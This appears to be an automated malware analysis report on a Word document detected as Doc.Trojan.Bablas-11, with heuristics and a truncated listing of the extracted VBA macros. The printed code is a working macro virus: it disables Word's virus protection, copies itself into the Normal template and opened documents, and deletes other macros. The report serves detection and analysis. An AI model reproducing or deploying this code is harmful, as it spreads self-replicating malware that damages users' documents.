MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as a malicious document by ClamAV, specifically 'Doc.Trojan.Bablas-11'. It contains legacy WordBasic macro-virus markers and VBA macros, including AutoOpen and Auto_Close, which are designed to execute automatically. The macros display messages to the user, such as 'THANK'S FOR YOUR VIRUS SCAN' and 'MACROS HAVE BEEN ACTIFED', and attempt to modify application options, indicating a deceptive and potentially harmful intent.
Heuristics 5
-
ClamAV: Doc.Trojan.Bablas-11 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bablas-11
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4697 bytes |
SHA-256: 77ab2d0493effacc5eeaedc85202cf1d7855e3969b18bb72be2a6cdca78a1364 |
|||
|
Detection
ClamAV:
Doc.Trojan.Bablas-11
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "VirusScan"
Sub ShowMessage()
H = Time
If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
For i = 1 To 100
Beep
Next i
H = MsgBox("THANK'S FOR YOUR VIRUS SCAN")
End If
End Sub
Sub Bablas()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
H = MsgBox("MACROS HAVE BEEN ACTIFED", vbExclamation + vbOKOnly)
End Sub
Sub ViewVbCode()
ToolsMacro
End Sub
Sub FileTemplates()
ToolsMacro
End Sub
Sub HelpAbout()
H = MsgBox("You must be alert", vbOKOnly + vbExclamation, "VirusScan")
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Bablas
End Sub
Sub ChangeCap()
On Error Resume Next
Application.Caption = "VirusScan!"
ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub RestoreCap()
On Error Resume Next
Application.Caption = "Microsoft Word"
ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub OpenMyMacro()
If InputBox("Enter password") = "azizoke" Then Application.ShowVisualBasicEditor = True
End Sub
Sub SikatDocument()
Dim DocOk As Boolean
DocOk = False
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "VirusScan" Then DocOk = True
If Obj.Name <> "VirusScan" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.StatusBar = "VirusScan" _
+ ActiveDocument.Name + "..."
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="VirusScan", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SikatTemplate()
Dim NorOk As Boolean
NorOk = False
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "VirusScan" Then NorOk = True
If Obj.Name <> "VirusScan" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.StatusBar = "VirusScan is actifed" + ActiveDocument.Name + _
" to Normal Template..."
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="VirusScan", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
ShowMessage
Application.Quit
End Sub
Sub FileOpen()
ChangeCap
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SikatDocument
ActiveDocument.Save
End If
RestoreCap
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
Bablas
ChangeCap
SikatTemplate
On Error Resume Next
NormalTemplate.Save
RestoreCap
End Sub
Sub AutoClose()
SikatDocument
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
SikatDocument
SikatTemplate
On Error Resume Next
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.